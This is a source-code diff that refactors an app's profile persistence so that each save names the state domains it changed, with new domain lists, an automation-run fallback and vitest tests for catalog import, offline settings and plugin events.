+    return { epoch: cursor.epoch, seq: cursor.seq }
+  }
+
+  /** Observe each host-qualified worktree metadata write; callbacks must not throw, block or write. */
+  onWorktreeMetaWritten(listener: WorktreeMetaWriteListener): () => void {
+    const { runtime } = this[writeSchedulingOperationsContext]
+    runtime.worktreeMetaWriteListeners.add(listener)
+    return () => {
+      runtime.worktreeMetaWriteListeners.delete(listener)
+    }
+  }
 }
 
+/** Saves the rows of the domains a mutation changed. */
 export function scheduleSave(
   owner: WriteSchedulingOperations,
-  dirtyDomains?: readonly string[],
+  domains: ProfileSaveDomains,
+  writtenHostId?: ExecutionHostId
+): void {
+  scheduleDomainSave(owner, domains, writtenHostId)
+}
+
+/** Startup load, migration and maintenance resume only: their changes span the profile. */
+export function scheduleFullProfileSave(owner: WriteSchedulingOperations): void {
+  scheduleDomainSave(owner, undefined)
+}
+
+function scheduleDomainSave(
+  owner: WriteSchedulingOperations,
+  dirtyDomains: readonly string[] | undefined,
   writtenHostId?: ExecutionHostId
 ): void {
   const { runtime, writes } = owner[writeSchedulingOperationsContext]
@@ -101,6 +149,13 @@ export function scheduleSave(
     listener(dirtyDomains)
   }
   runtime.automationListProjectionCache = null
+  // A run list replaced outside the run-delta path saves as a whole row; an older pending delta is stale.
+  if (
+    dirtyDomains?.includes('automationRuns') &&
+    runtime.pendingAutomationRunsAfter !== runtime.state.automationRuns
+  ) {
+    runtime.pendingAutomationRunsAfter = undefined
+  }
   const trackedDomains = runtime.dirtyProfileStateDomains
   if (dirtyDomains === undefined) {
     runtime.dirtyProfileStateDomains = null
diff --git a/src/main/persistence/migrating-orcad-catalog/orcad-catalog-commit-automation-runs.test.ts b/src/main/persistence/migrating-orcad-catalog/orcad-catalog-commit-automation-runs.test.ts
new file mode 100644
index 00000000000..bcb119f5f04
--- /dev/null
+++ b/src/main/persistence/migrating-orcad-catalog/orcad-catalog-commit-automation-runs.test.ts
@@ -0,0 +1,56 @@
+import { describe, it, expect, vi } from 'vitest'
+import {
+  createWorkerMaintenanceFixture,
+  maintenanceBarrier
+} from '../loading-store/profile-state-maintenance-fixture'
+import { ProfileStateWriterError } from '../profile-state/profile-state-writer-errors'
+import { hostWorktreeTarget } from '../../../shared/worktree/host-qualified-identity'
+import {
+  DORMANT_AUTOMATION_RUN,
+  dormantState,
+  manifest
+} from './persistence-orcad-migration-catalog-fixture'
+
+vi.mock('../../telemetry/client', () => ({ track: vi.fn() }))
+vi.mock('../../telemetry/cohort-classifier', () => ({
+  getCohortAtEmit: () => ({ nth_repo_added: 1 })
+}))
+vi.mock('../../ssh/config/ssh-config-parser', () => ({
+  loadUserSshConfig: () => ({ hosts: [] }),
+  sshConfigHostsToTargets: () => []
+}))
+
+describe('catalog commit and automation run saves', () => {
+  it('keeps imported runs when an older run write fails while the import is saved', async () => {
+    const { store, authority, readState } = await createWorkerMaintenanceFixture()
+    vi.spyOn(console, 'error').mockImplementation(() => {})
+    const base = manifest()
+    const input = manifest({ payload: { ...base.payload, dormantState: dormantState() } })
+    store.stageOrcadMigrationCatalog(input)
+    await store.flushPendingOrThrowAsync()
+
+    const started = maintenanceBarrier()
+    const finish = maintenanceBarrier()
+    vi.spyOn(authority, 'writeSerializedAutomationRuns').mockImplementationOnce(async () => {
+      started.resolve()
+      await finish.promise
+      throw new ProfileStateWriterError('disk-refused', 'disk refused', 'known-failure')
+    })
+    // An unrelated run edit leaves its run list pending and starts a write that stays in flight.
+    expect(
+      store.snapshotAutomationRunWorkspaceDisplayName(
+        hostWorktreeTarget({ id: 'repo-local::/fixture/local', hostId: 'local' }),
+        'Renamed workspace'
+      )
+    ).toBeGreaterThan(0)
+    await started.promise
+
+    store.commitStagedOrcadMigrationCatalog(input)
+    finish.resolve()
+    await store.flushPendingOrThrowAsync()
+
+    expect(readState().automationRuns.map(({ id }: { id: string }) => id)).toContain(
+      DORMANT_AUTOMATION_RUN.id
+    )
+  })
+})
diff --git a/src/main/persistence/migrating-orcad-catalog/orcad-catalog-commit-domains.ts b/src/main/persistence/migrating-orcad-catalog/orcad-catalog-commit-domains.ts
new file mode 100644
index 00000000000..2abbc3f8b71
--- /dev/null
+++ b/src/main/persistence/migrating-orcad-catalog/orcad-catalog-commit-domains.ts
@@ -0,0 +1,26 @@
+import { WORKTREE_METADATA_DOMAINS } from '../profile-save-domains'
+import { WORKSPACE_SESSION_DOMAINS } from '../workspace-session-domains'
+
+/** An imported catalog adds repos, workspaces and their dormant state, and records its receipts. */
+export const ORCAD_CATALOG_COMMIT_DOMAINS = [
+  'projectGroups',
+  'repos',
+  'folderWorkspaces',
+  'projects',
+  'projectHostSetups',
+  ...WORKTREE_METADATA_DOMAINS,
+  'worktreeLineageById',
+  'workspaceLineageByChildKey',
+  'sparsePresetsByRepo',
+  'retiredWorktreeNamesByRepo',
+  'retiredWorktreeNamesByNamespace',
+  // The import writes the local session only.
+  WORKSPACE_SESSION_DOMAINS[0],
+  'automations',
+  'automationRuns',
+  'mobileClientTabSelectionsByDeviceId',
+  'ui',
+  'orcadMigrationStagedCatalogs',
+  'orcadMigrationImportReceipts',
+  'orcadMigrationEvictedReceipts'
+]
diff --git a/src/main/persistence/migrating-orcad-catalog/orcad-catalog-import.ts b/src/main/persistence/migrating-orcad-catalog/orcad-catalog-import.ts
index a011d604cea..941323ecbbd 100644
--- a/src/main/persistence/migrating-orcad-catalog/orcad-catalog-import.ts
+++ b/src/main/persistence/migrating-orcad-catalog/orcad-catalog-import.ts
@@ -1,4 +1,5 @@
 import { MAX_ORCAD_MIGRATION_STAGED_CATALOGS } from '../../../shared/orcad-migration/orcad-migration-staged-catalog-validation'
+import { ORCAD_CATALOG_COMMIT_DOMAINS } from './orcad-catalog-commit-domains'
 import { ORCAD_MIGRATION_MANIFEST_VERSION } from '../../../shared/orcad-migration/orcad-migration-manifest-validation'
 import type {
   OrcadMigrationCatalogAbortResult,
@@ -72,6 +73,7 @@ type OrcadCatalogImportContext = {
 }
 
 // Manifests arrive parsed; the RPC boundary verified the digest over the bytes as sent.
+
 export class OrcadCatalogImportPersistence {
   readonly [orcadCatalogImportContext]: OrcadCatalogImportContext
 
@@ -90,7 +92,7 @@ export class OrcadCatalogImportPersistence {
     const context = this[orcadCatalogImportContext]
     const now = options.now ?? (() => new Date())
     if (expireOrcadMigrationStages(context.runtime.state, now().getTime())) {
-      scheduleSave(context.scheduling)
+      scheduleSave(context.scheduling, ['orcadMigrationStagedCatalogs'])
     }
     pruneOrcadMigrationSnapshotStaging(
       stagedManifests(context.runtime.state),
@@ -122,7 +124,7 @@ export class OrcadCatalogImportPersistence {
         stagedAt
       }
     ]
-    scheduleSave(context.scheduling)
+    scheduleSave(context.scheduling, ['orcadMigrationStagedCatalogs'])
     return stagedCatalogState(manifest, stagedAt, context.runtime)
   }
 
@@ -182,7 +184,7 @@ export class OrcadCatalogImportPersistence {
     commitOrcadMigrationBlobs(manifest, blobRoot)
     const receipt = commitPreparedCatalog(context, manifest, prepared, options.now)
     const generationBefore = context.runtime.writeGeneration
-    scheduleSave(context.scheduling)
+    scheduleSave(context.scheduling, ORCAD_CATALOG_COMMIT_DOMAINS)
     recordOrcadMigrationCommitWriteGeneration(context.runtime, manifest, generationBefore)
     return committedCatalogState(receipt)
   }
@@ -201,7 +203,7 @@ export class OrcadCatalogImportPersistence {
     ).filter((entry) => entry.manifest.migrationId !== manifest.migrationId)
     abortOrcadMigrationSnapshots(manifest, context.runtime.terminalScrollbackSnapshotStorage)
     abortOrcadMigrationBlobs(manifest, context.runtime.orcadMigrationBlobRoot)
-    scheduleSave(context.scheduling)
+    scheduleSave(context.scheduling, ['orcadMigrationStagedCatalogs'])
     return { ...absentCatalogState(manifest), aborted: true }
   }
 
diff --git a/src/main/persistence/persistence-async-write-syscalls.test.ts b/src/main/persistence/persistence-async-write-syscalls.test.ts
index 499df38a519..8cbb7a85024 100644
--- a/src/main/persistence/persistence-async-write-syscalls.test.ts
+++ b/src/main/persistence/persistence-async-write-syscalls.test.ts
@@ -141,9 +141,8 @@ describe('worker persistence avoids synchronous profile filesystem calls', () =>
   it('retains dirty state when a SQL commit fails and persists an explicit retry', async () => {
     const { store, authority, readState } = await createWorkerMaintenanceFixture()
     vi.spyOn(console, 'error').mockImplementation(() => {})
-    vi.spyOn(authority, 'writeCompleteSerializedDomains').mockRejectedValueOnce(
-      new Error('disk refused')
-    )
+    // A UI change saves only the ui domain.
+    vi.spyOn(authority, 'writeSerializedDomains').mockRejectedValueOnce(new Error('disk refused'))
     const original = readState().ui.sidebarWidth
     store.updateUI({ sidebarWidth: 511 })
     await store.flushPendingAsync()
diff --git a/src/main/persistence/persistence-loading-store-write-risks.test.ts b/src/main/persistence/persistence-loading-store-write-risks.test.ts
index 109aa999a65..384738ce360 100644
--- a/src/main/persistence/persistence-loading-store-write-risks.test.ts
+++ b/src/main/persistence/persistence-loading-store-write-risks.test.ts
@@ -18,14 +18,13 @@ describe('loading Store write-risk characterization', () => {
     const { store, authority, readState } = await createWorkerMaintenanceFixture()
     const committed = maintenanceBarrier()
     const acknowledge = maintenanceBarrier()
-    const writeDomains = authority.writeCompleteSerializedDomains.bind(authority)
-    vi.spyOn(authority, 'writeCompleteSerializedDomains').mockImplementationOnce(
-      async (replacements) => {
-        await writeDomains(replacements)
-        committed.resolve()
-        await acknowledge.promise
-      }
-    )
+    // A UI change saves only the ui domain.
+    const writeDomains = authority.writeSerializedDomains.bind(authority)
+    vi.spyOn(authority, 'writeSerializedDomains').mockImplementationOnce(async (replacements) => {
+      await writeDomains(replacements)
+      committed.resolve()
+      await acknowledge.promise
+    })
     const close = vi.spyOn(authority, 'close')
 
     store.updateUI({ sidebarWidth: 712 })
diff --git a/src/main/persistence/profile-save-domains.ts b/src/main/persistence/profile-save-domains.ts
new file mode 100644
index 00000000000..2d758338742
--- /dev/null
+++ b/src/main/persistence/profile-save-domains.ts
@@ -0,0 +1,92 @@
+import { WORKSPACE_SESSION_DOMAINS } from './workspace-session-domains'
+
+/** The profile domains a mutation changed; its save writes only their rows. */
+export type ProfileSaveDomains = readonly string[]
+
+export const WORKTREE_METADATA_DOMAINS = [
+  'worktreeMeta',
+  'worktreeMetaByIdentity',
+  'worktreeIdentityAliases'
+] as const
+
+export const WORKSPACE_LINEAGE_DOMAINS = [
+  'worktreeLineageById',
+  'workspaceLineageByChildKey',
+  'crossStoreLineageByChildKey'
+] as const
+
+/** Records that carry sort stamps and unread flags: worktree metadata and folder workspaces. */
+export const WORKSPACE_RECORD_DOMAINS: readonly string[] = [
+  ...WORKTREE_METADATA_DOMAINS,
+  'folderWorkspaces'
+]
+
+/** Repo, project, folder, lineage and SSH catalog domains; listeners read these as a catalog change. */
+export const WORKSPACE_CATALOG_SAVE_DOMAINS: readonly string[] = [
+  'repos',
+  'projects',
+  'projectHostSetups',
+  'projectGroups',
+  'folderWorkspaces',
+  'folderWorkspaceDiffComments',
+  ...WORKSPACE_LINEAGE_DOMAINS,
+  'sparsePresetsByRepo',
+  'retiredWorktreeNamesByRepo',
+  'retiredWorktreeNamesByNamespace',
+  'sshTargets',
+  'sshTargetGenerationCounter',
+  'deletedSshConfigAliases',
+  'removedSshTargetTombstones',
+  'sshPtyConsumerRecoveries',
+  'orcadMigrationStagedCatalogs'
+]
+
+/** Undefined means a whole save, which may have changed any catalog domain. */
+export function savedWorkspaceCatalog(dirtyDomains: readonly string[] | undefined): boolean {
+  return (
+    dirtyDomains === undefined ||
+    dirtyDomains.some((domain) => WORKSPACE_CATALOG_SAVE_DOMAINS.includes(domain))
+  )
+}
+
+/** Repo writes also re-derive the project catalog compatibility rows. */
+export const REPO_CATALOG_DOMAINS: readonly string[] = ['repos', 'projects', 'projectHostSetups']
+
+/** Removing a project prunes its workspaces' metadata, lineage, sessions and phone selections. */
+export const REMOVE_PROJECT_DOMAINS: readonly string[] = [
+  ...REPO_CATALOG_DOMAINS,
+  'sparsePresetsByRepo',
+  'retiredWorktreeNamesByRepo',
+  ...WORKTREE_METADATA_DOMAINS,
+  ...WORKSPACE_LINEAGE_DOMAINS,
+  ...WORKSPACE_SESSION_DOMAINS,
+  'mobileClientTabSelectionsByDeviceId'
+]
+
+/** Removing a folder workspace drops its sessions, lineage and phone selections. */
+export const FOLDER_WORKSPACE_REMOVAL_DOMAINS: readonly string[] = [
+  'folderWorkspaces',
+  'workspaceLineageByChildKey',
+  'crossStoreLineageByChildKey',
+  ...WORKSPACE_SESSION_DOMAINS,
+  'mobileClientTabSelectionsByDeviceId'
+]
+
+/** Pruning missing worktrees drops their metadata and lineage. */
+export const WORKTREE_METADATA_PRUNE_DOMAINS: readonly string[] = [
+  ...WORKTREE_METADATA_DOMAINS,
+  ...WORKSPACE_LINEAGE_DOMAINS
+]
+
+/** Removing worktree metadata also drops its lineage and saved session tabs. */
+export const WORKTREE_METADATA_REMOVAL_DOMAINS: readonly string[] = [
+  ...WORKTREE_METADATA_PRUNE_DOMAINS,
+  ...WORKSPACE_SESSION_DOMAINS
+]
+
+/** A worktree locator move rewrites its metadata, lineage, sessions, phone selections and UI keys. */
+export const WORKTREE_IDENTITY_MIGRATION_DOMAINS: readonly string[] = [
+  ...WORKTREE_METADATA_REMOVAL_DOMAINS,
+  'mobileClientTabSelectionsByDeviceId',
+  'ui'
+]
diff --git a/src/main/persistence/profile-state/profile-state-domain-writes.test.ts b/src/main/persistence/profile-state/profile-state-domain-writes.test.ts
index f1fae0aa8ce..49040ffecb9 100644
--- a/src/main/persistence/profile-state/profile-state-domain-writes.test.ts
+++ b/src/main/persistence/profile-state/profile-state-domain-writes.test.ts
@@ -71,6 +71,32 @@ describe('profile state dirty-domain writes', () => {
     }
   })
 
+  it('saves a run list per-run rows cannot hold as one replacement row', () => {
+    const db = openTestDatabase()
+    try {
+      const fixtureRun = buildProfileStateCutoverFixture().automationRuns[0]
+      if (!fixtureRun) {
+        throw new Error('Expected automation run fixture')
+      }
+      importProfileStateJson(db, JSON.stringify({ automationRuns: [fixtureRun] }), {
+        now: () => 100
+      })
+      // Legacy histories can keep duplicate run ids, which the per-run rows refuse.
+      const duplicated = [fixtureRun, { ...fixtureRun, title: 'Duplicate id' }]
+
+      expect(
+        writeProfileStateDomains(db, {
+          expectedRevision: 1,
+          replacements: [],
+          automationRunsAfter: duplicated
+        })
+      ).toMatchObject({ changed: true, revision: 2 })
+      expect(JSON.parse(exportProfileStateJson(db)).automationRuns).toEqual(duplicated)
+    } finally {
+      db.close()
+    }
+  })
+
   it('rolls back every domain when a later mutation fails', () => {
     const db = openTestDatabase()
     try {
diff --git a/src/main/persistence/profile-state/profile-state-domain-writes.ts b/src/main/persistence/profile-state/profile-state-domain-writes.ts
index 44314d9ab3b..2d69dd70ce3 100644
--- a/src/main/persistence/profile-state/profile-state-domain-writes.ts
+++ b/src/main/persistence/profile-state/profile-state-domain-writes.ts
@@ -97,7 +97,7 @@ export function writeProfileStateDomains(
 
     const updates: PreparedProfileStateMutation[] = []
     const splitStates = new Map<string, ReturnType<typeof readSplitDomainWriteState>>()
-    for (const mutation of prepared) {
+    const admit = (mutation: PreparedProfileStateMutation): void => {
       const splitState = readSplitDomainWriteState(db, mutation.domain)
       splitStates.set(mutation.domain, splitState)
       if (splitState.kind === 'parts') {
@@ -106,7 +106,7 @@ export function writeProfileStateDomains(
         if (mutation.payload === null || mutation.payloadHash !== splitState.contentHash) {
           updates.push(mutation)
         }
-        continue
+        return
       }
       const existing = db
         .prepare(
@@ -131,7 +131,7 @@ export function writeProfileStateDomains(
           mutation.payload?.startsWith('[') &&
           currentAutomationRuns.contentHash === mutation.payloadHash
         ) {
-          continue
+          return
         }
         const normalized = prepareProfileStateAutomationRunsReplacement(
           db,
@@ -142,7 +142,7 @@ export function writeProfileStateDomains(
           if (normalized.changed) {
             updates.push({ ...mutation, automationRuns: normalized })
           }
-          continue
+          return
         }
       }
       const unchanged =
@@ -152,6 +152,9 @@ export function writeProfileStateDomains(
         updates.push(mutation)
       }
     }
+    for (const mutation of prepared) {
+      admit(mutation)
+    }
     if (transaction.automationRunsAfter !== undefined) {
       const delta = prepareProfileStateAutomationRunsDelta(
         db,
@@ -161,9 +164,15 @@ export function writeProfileStateDomains(
         actualRevision
       )
       if (delta === undefined) {
-        throw new Error('Normalized automationRuns delta is unsupported')
-      }
-      if (delta.changed) {
+        // Histories per-run rows can't hold (e.g. duplicate run ids) save as one replacement row.
+        admit(
+          prepareProfileStateDomainMutation({
+            domain: 'automationRuns',
+            payload: JSON.stringify(transaction.automationRunsAfter),
+            domainVersion: PROFILE_STATE_DOCUMENT_VERSION
+          })
+        )
+      } else if (delta.changed) {
         updates.push({
           domain: 'automationRuns',
           payload: null,
diff --git a/src/main/persistence/profile-state/profile-state-offline-settings.test.ts b/src/main/persistence/profile-state/profile-state-offline-settings.test.ts
new file mode 100644
index 00000000000..5055445bc59
--- /dev/null
+++ b/src/main/persistence/profile-state/profile-state-offline-settings.test.ts
@@ -0,0 +1,38 @@
+import { mkdtempSync, rmSync } from 'node:fs'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { expect, it } from 'vitest'
+import { openProfileStateDatabase } from './profile-state-database'
+import { importProfileStateJson, readProfileStateSnapshot } from './profile-state-documents'
+import { updateAgentHookSettingsFromProfileState } from './profile-state-offline-settings'
+
+it('changes agent hooks offline without granting publishing permission to an older profile', () => {
+  const root = mkdtempSync(join(tmpdir(), 'orca-offline-sharing-'))
+  const location = {
+    profileId: 'older-profile',
+    dataFile: join(root, 'orca-data.json'),
+    databaseFile: join(root, 'profile-state.db')
+  }
+  try {
+    const opened = openProfileStateDatabase(location.databaseFile, location.profileId)
+    try {
+      importProfileStateJson(opened.db, '{"settings":{"agentStatusHooksEnabled":true}}')
+    } finally {
+      opened.db.close()
+    }
+
+    updateAgentHookSettingsFromProfileState(location, false)
+    updateAgentHookSettingsFromProfileState(location, true)
+
+    const reopened = openProfileStateDatabase(location.databaseFile, location.profileId)
+    try {
+      const { settings } = JSON.parse(readProfileStateSnapshot(reopened.db).json)
+      expect(settings.agentStatusHooksEnabled).toBe(true)
+      expect(settings).not.toHaveProperty('artifactSharingEnabled')
+    } finally {
+      reopened.db.close()
+    }
+  } finally {
+    rmSync(root, { recursive: true, force: true })
+  }
+})
diff --git a/src/main/persistence/profile-state/profile-state-offline-settings.ts b/src/main/persistence/profile-state/profile-state-offline-settings.ts
index 186d3724f9c..ef06fb01542 100644
--- a/src/main/persistence/profile-state/profile-state-offline-settings.ts
+++ b/src/main/persistence/profile-state/profile-state-offline-settings.ts
@@ -79,6 +79,7 @@ export function updateAgentHookSettingsInProfileState(
       uiLanguagePortugueseMigrationApplied: _migrationApplied,
       nestedWorkerMaxDepthDefaultedToFour: _depthMigrated,
       agentLaunchChoices: _launchChoices,
+      artifactSharingEnabled: _artifactSharingEnabled,
       ...settingsDefaults
     } = getDefaultPersistedState(homedir()).settings
     const settings = {
diff --git a/src/main/persistence/restoring-sessions/folder-workspace-operations.ts b/src/main/persistence/restoring-sessions/folder-workspace-operations.ts
index 72f7bad70eb..1b656595777 100644
--- a/src/main/persistence/restoring-sessions/folder-workspace-operations.ts
+++ b/src/main/persistence/restoring-sessions/folder-workspace-operations.ts
@@ -1,3 +1,4 @@
+import { FOLDER_WORKSPACE_REMOVAL_DOMAINS, type ProfileSaveDomains } from '../profile-save-domains'
 import { randomUUID } from 'node:crypto'
 import type { FolderWorkspace } from '../../../shared/folder-workspaces/folder-workspace-types'
 import type { PersistedState } from '../../../shared/persisted-state-types'
@@ -19,7 +20,7 @@ import { ORCA_SIDEBAR_INPUTS_IS_MAIN } from '../../../shared/sidebar-inputs-swit
 
 export type FolderWorkspaceMutationOperations = {
   state: PersistedState
-  scheduleSave: () => void
+  scheduleSave: (domains: ProfileSaveDomains) => void
   removeWorkspaceLineageForRemovedFolder: (folderWorkspaceId: string) => void
   pruneMobileClientTabSelections: (matchesWorktreeId: (worktreeId: string) => boolean) => void
   hydrateRepo: (repo: Repo) => Repo
@@ -32,8 +33,8 @@ export class FolderWorkspacePersistenceOperations {
     return this.operations.state
   }
 
-  private scheduleSave(): void {
-    this.operations.scheduleSave()
+  private scheduleSave(domains: ProfileSaveDomains): void {
+    this.operations.scheduleSave(domains)
   }
 
   private removeWorkspaceLineageForRemovedFolder(folderWorkspaceId: string): void {
@@ -121,7 +122,7 @@ export class FolderWorkspacePersistenceOperations {
       updatedAt: now
     }
     this.state.folderWorkspaces = [workspace, ...(this.state.folderWorkspaces ?? [])]
-    this.scheduleSave()
+    this.scheduleSave(['folderWorkspaces'])
     return workspace
   }
 
@@ -266,7 +267,7 @@ export class FolderWorkspacePersistenceOperations {
       workspace.externalConversations = updates.externalConversations
     }
     workspace.updatedAt = Date.now()
-    this.scheduleSave()
+    this.scheduleSave(['folderWorkspaces'])
     return workspace
   }
 
@@ -281,7 +282,7 @@ export class FolderWorkspacePersistenceOperations {
     removeWorkspaceSessionOwnerEverywhere(this.state, folderWorkspaceKey(id))
     this.removeWorkspaceLineageForRemovedFolder(id)
     this.pruneMobileClientTabSelections((worktreeId) => worktreeId === folderWorkspaceKey(id))
-    this.scheduleSave()
+    this.scheduleSave(FOLDER_WORKSPACE_REMOVAL_DOMAINS)
     return true
   }
 
@@ -304,7 +305,7 @@ export class FolderWorkspacePersistenceOperations {
       typeof order === 'number' && Number.isFinite(order)
         ? order
         : getNextProjectGroupOrder(siblingRepos, normalizedGroupId)
-    this.scheduleSave()
+    this.scheduleSave(['repos'])
     return this.hydrateRepo(repo)
   }
 }
diff --git a/src/main/persistence/tracking-repos/persistence-folder-workspace-notes.test.ts b/src/main/persistence/tracking-repos/persistence-folder-workspace-notes.test.ts
index f2f51cf1191..bedd559e19f 100644
--- a/src/main/persistence/tracking-repos/persistence-folder-workspace-notes.test.ts
+++ b/src/main/persistence/tracking-repos/persistence-folder-workspace-notes.test.ts
@@ -297,4 +297,19 @@ describe('Store', () => {
       'fw-1': [editedNote]
     })
   })
+  it('drops the saved note map when the last note is cleared', async () => {
+    writeFolderWorkspaceProfile({
+      workspaces: [folderWorkspaceRecord()],
+      diffCommentsMap: { 'fw-1': [makeFolderNote('note-1', 'Old note')] }
+    })
+
+    const store = await createStore()
+    // Drain the load's whole save so the edit below saves only what it names.
+    store.flush()
+    store.updateFolderWorkspace('fw-1', { diffComments: [] })
+    store.flush()
+
+    expect((readDataFile() as PersistedState).folderWorkspaceDiffComments).toBeUndefined()
+    expect((await createStore()).getFolderWorkspace('fw-1')?.diffComments ?? []).toEqual([])
+  })
 })
diff --git a/src/main/persistence/tracking-repos/persistence-repo-lifecycle.test.ts b/src/main/persistence/tracking-repos/persistence-repo-lifecycle.test.ts
index 82490eacc6e..d0b4fd71541 100644
--- a/src/main/persistence/tracking-repos/persistence-repo-lifecycle.test.ts
+++ b/src/main/persistence/tracking-repos/persistence-repo-lifecycle.test.ts
@@ -101,6 +101,28 @@ describe('Store', () => {
     ])
   })
 
+  it('removing a project saves the repo, metadata and session removal with only those domains dirty', async () => {
+    const store = await createStore()
+    store.addRepo(makeRepo({ id: 'r1', path: '/repo' }))
+    store.setWorktreeMeta(at('r1::/repo/wt', 'local'), { displayName: 'wt' })
+    store.setWorkspaceSession({
+      ...getDefaultWorkspaceSession(),
+      lastVisitedAtByWorktreeId: { 'r1::/repo/wt': 111 }
+    })
+    // Drain earlier saves so the removal's own save is the one under test.
+    store.flush()
+
+    store.removeProjectForHost({ id: 'r1', executionHostId: 'local' })
+    store.flush()
+
+    const reloaded = await createStore()
+    expect(reloaded.getRepos()).toEqual([])
+    expect(reloaded.getWorktreeMeta('r1::/repo/wt')).toBeUndefined()
+    expect(
+      reloaded.getWorkspaceSession().lastVisitedAtByWorktreeId?.['r1::/repo/wt']
+    ).toBeUndefined()
+  })
+
   it('removeProjectForHost on the local host keeps a surviving SSH host session', async () => {
     const store = await createStore()
     store.addRepo(makeRepo({ id: 'shared', path: '/repo' }))
diff --git a/src/main/persistence/tracking-repos/project-group-operations.ts b/src/main/persistence/tracking-repos/project-group-operations.ts
index cd7d55bf99c..4ee2fc9aa87 100644
--- a/src/main/persistence/tracking-repos/project-group-operations.ts
+++ b/src/main/persistence/tracking-repos/project-group-operations.ts
@@ -1,3 +1,5 @@
+import type { ProfileSaveDomains } from '../profile-save-domains'
+import { WORKSPACE_SESSION_DOMAINS } from '../workspace-session-domains'
 import type { PersistedState } from '../../../shared/persisted-state-types'
 import type {
   ProjectGroup,
@@ -15,7 +17,7 @@ import { removeWorkspaceSessionOwnersEverywhere } from '../restoring-sessions/se
 
 export type ProjectGroupMutationOperations = {
   state: PersistedState
-  scheduleSave: () => void
+  scheduleSave: (domains: ProfileSaveDomains) => void
   removeWorkspaceLineageForRemovedFolder: (folderWorkspaceId: string) => void
   pruneMobileClientTabSelections: (matchesWorktreeId: (worktreeId: string) => boolean) => void
 }
@@ -27,8 +29,8 @@ export class ProjectGroupPersistenceOperations {
     return this.operations.state
   }
 
-  private scheduleSave(): void {
-    this.operations.scheduleSave()
+  private scheduleSave(domains: ProfileSaveDomains): void {
+    this.operations.scheduleSave(domains)
   }
 
   private removeWorkspaceLineageForRemovedFolder(folderWorkspaceId: string): void {
@@ -68,7 +70,7 @@ export class ProjectGroupPersistenceOperations {
       group.rootProjectOrder = rootProjectOrder
     }
     this.state.projectGroups = [...(this.state.projectGroups ?? []), group]
-    this.scheduleSave()
+    this.scheduleSave(['projectGroups'])
     return group
   }
 
@@ -78,7 +80,7 @@ export class ProjectGroupPersistenceOperations {
       return null
     }
     this.applyGroupUpdate(group, updates)
-    this.scheduleSave()
+    this.scheduleSave(['projectGroups'])
     return group
   }
 
@@ -93,7 +95,7 @@ export class ProjectGroupPersistenceOperations {
       return group
     })
     if (updated.length > 0) {
-      this.scheduleSave()
+      this.scheduleSave(['projectGroups'])
     }
     return updated
   }
@@ -150,7 +152,15 @@ export class ProjectGroupPersistenceOperations {
       (workspace) => !deletedGroupIds.has(workspace.projectGroupId)
     )
     this.pruneMobileClientTabSelections((worktreeId) => removedFolderWorkspaceKeys.has(worktreeId))
-    this.scheduleSave()
+    this.scheduleSave([
+      'projectGroups',
+      'repos',
+      'folderWorkspaces',
+      'workspaceLineageByChildKey',
+      'crossStoreLineageByChildKey',
+      ...WORKSPACE_SESSION_DOMAINS,
+      'mobileClientTabSelectionsByDeviceId'
+    ])
     return true
   }
 }
diff --git a/src/main/persistence/tracking-repos/project-host-operations.ts b/src/main/persistence/tracking-repos/project-host-operations.ts
index 89b18608c9c..b0577b7867f 100644
--- a/src/main/persistence/tracking-repos/project-host-operations.ts
+++ b/src/main/persistence/tracking-repos/project-host-operations.ts
@@ -1,3 +1,4 @@
+import type { ProfileSaveDomains } from '../profile-save-domains'
 import type {
   Project,
   ProjectHostSetup,
@@ -33,7 +34,7 @@ export type ProjectHostMutationOperations = {
     updates: ProjectHostSetupUpdateArgs['updates']
   ) => ProjectHostSetup
   removeProjectForHost: (target: RepoHostTarget) => void
-  scheduleSave: () => void
+  scheduleSave: (domains: ProfileSaveDomains) => void
 }
 
 export class ProjectHostPersistenceOperations {
@@ -70,8 +71,8 @@ export class ProjectHostPersistenceOperations {
     this.operations.removeProjectForHost(target)
   }
 
-  private scheduleSave(): void {
-    this.operations.scheduleSave()
+  private scheduleSave(domains: ProfileSaveDomains): void {
+    this.operations.scheduleSave(domains)
   }
 
   getRepos(): Repo[] {
@@ -100,7 +101,7 @@ export class ProjectHostPersistenceOperations {
       }
     }
     project.updatedAt = Date.now()
-    this.scheduleSave()
+    this.scheduleSave(['projects'])
     return { ...project }
   }
 
@@ -142,7 +143,7 @@ export class ProjectHostPersistenceOperations {
     }
     // Independent setup persistence survives future repo projection sync.
     this.state.projectHostSetups.push(setup)
-    this.scheduleSave()
+    this.scheduleSave(['projectHostSetups'])
     return { project, setup }
   }
 
@@ -197,7 +198,7 @@ export class ProjectHostPersistenceOperations {
       return { project, setup, repo: this.hydrateRepo(repo) }
     }
     this.state.projectHostSetups = this.state.projectHostSetups.filter((entry) => entry !== setup)
-    this.scheduleSave()
+    this.scheduleSave(['projectHostSetups'])
     return { project, setup }
   }
 
@@ -234,7 +235,7 @@ export class ProjectHostPersistenceOperations {
     } else {
       delete repo.gitUsername
     }
-    this.scheduleSave()
+    this.scheduleSave(['repos'])
     return true
   }
 }
diff --git a/src/main/plugins/plugin-runtime-binding.test.ts b/src/main/plugins/plugin-runtime-binding.test.ts
index 8c26efb5829..9bf34c08122 100644
--- a/src/main/plugins/plugin-runtime-binding.test.ts
+++ b/src/main/plugins/plugin-runtime-binding.test.ts
@@ -268,6 +268,7 @@ describe('workspace.changed', () => {
           written = listener
           return () => undefined
         },
+        onStateWritten: () => () => undefined,
         delayMs: 10
       })
       written()
@@ -301,4 +302,35 @@ describe('workspace.changed', () => {
       vi.useRealTimers()
     }
   })
+
+  it('re-reads the context after a catalog save such as a folder rename, not a UI save', async () => {
+    vi.useFakeTimers()
+    try {
+      const delegate = pluginRuntimeDelegate(
+        runtime([{ handle: 'term_a', title: 'zsh' }]),
+        () => []
+      )
+      const events = { wantsEvent: vi.fn(() => true), emitEvent: vi.fn() }
+      let saved: (domains: readonly string[] | undefined) => void = () => undefined
+      const stop = watchPluginWorkspaceContext({
+        delegate,
+        events,
+        onSessionWritten: () => () => undefined,
+        onStateWritten: (listener) => {
+          saved = listener
+          return () => undefined
+        },
+        delayMs: 10
+      })
+      saved(['ui'])
+      await vi.advanceTimersByTimeAsync(20)
+      expect(events.emitEvent).not.toHaveBeenCalled()
+      saved(['folderWorkspaces'])
+      await vi.advanceTimersByTimeAsync(20)
+      expect(events.emitEvent).toHaveBeenCalledWith('workspace.changed', expect.anything())
+      stop()
+    } finally {
+      vi.useRealTimers()
+    }
+  })
 })
